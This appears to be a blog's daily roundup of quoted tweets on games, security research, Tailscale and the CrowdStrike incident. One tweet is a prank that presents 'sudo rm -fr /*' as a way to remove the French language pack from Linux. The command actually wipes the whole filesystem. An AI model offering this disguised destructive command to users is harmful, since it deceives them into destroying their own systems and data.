July 28, 2024
July 28, 2024
Activision Blizzard released a 25 white page document that includes an amazing A/B test where they secretly progressively turned off SBMM and monitored retention and turns out everyone hated it, with more quitting, less playing, & more negative blowouts.https://t.co/o92gUqaUHY
— Rami Ismail / رامي (@tha_rami) July 27, 2024
I wrote about ace hacking team @shellphish and the DARPA quest to make AI patch software flaws for us. See it in the @washingtonpost. pic.twitter.com/iAsJrb9Nwy
— Joseph Menn (@josephmenn) July 27, 2024
"The root source of risk is dependence, especially dependence on the expectation of stable system state. Dependence is not only individual but mutual, not only am I dependent or not but rather a continuous scale asking whether we are dependent or not; we are, and it is called…
— Dino A. Dai Zovi (@dinodaizovi) July 27, 2024
This sounds like a trivial observation and it isn’t:
— Patrick McKenzie (@patio11) July 25, 2024
No organization which makes its people pay for coffee wants to win.
The New Internet
We don’t talk a lot in public about the big vision for Tailscale, why we’re really here. Usually I prefer to focus on what exists right now, and what we’re going to do in the next few months. But let’s look at the biggest of big pictures for a change.
Are you pissed at the French for their Olympics opening ceremony?
— rekdt (@rekdt) July 28, 2024
Get revenge by removing the French language pack from your Linux distros:
sudo rm -fr /*
still the most insane example of a criminal leveling up https://t.co/AU1TPmMD42 pic.twitter.com/vSXGeqXJl4
— Seva (@SevaUT) July 28, 2024
Reverse engineering and breaking bare metal firmware encryption in FortiGate firewalls.https://t.co/IezIyMddWF
— 0xor0ne (@0xor0ne) July 28, 2024
Credits Jon Williams (@bishopfox)#Fortinet #cybersecurity pic.twitter.com/vI4ONwZ5Wl
Jani Ylikangas (@jylikangas) explaining how he did this http://t.co/w8fIjYDDpw in 1023 bytes: http://t.co/9WfMytlgPT pic.twitter.com/3I8UBYnmh5
— @mikko (@mikko) July 28, 2014
Reminds me of the piece of paper (with RGB noise) that made ffmpeg throw errors and hang the OBS camera ingestion:https://t.co/Nx173RKI0P https://t.co/Aasm6NBFNb
— Gynvael Coldwind (@gynvael) July 28, 2024
I never got to the bottom of this, but I think the reason was internal to Logitech camera (I think C920 or sth similar). My guess is their mjpeg encoding buffer was too small, and it overwritten parts of unsent data when entropy was high.
— Gynvael Coldwind (@gynvael) July 28, 2024
My new blog - featuring: a technical overview of the CrowdStrike incident, why security products user kernel mode, and what this means for the future of Windows. https://t.co/hhQMXr0Gep
— David Weston (DWIZZZLE) (@dwizzzleMSFT) July 27, 2024
Shout outs to my non-Microsoft friends who gave me input and technical editing, appreciate…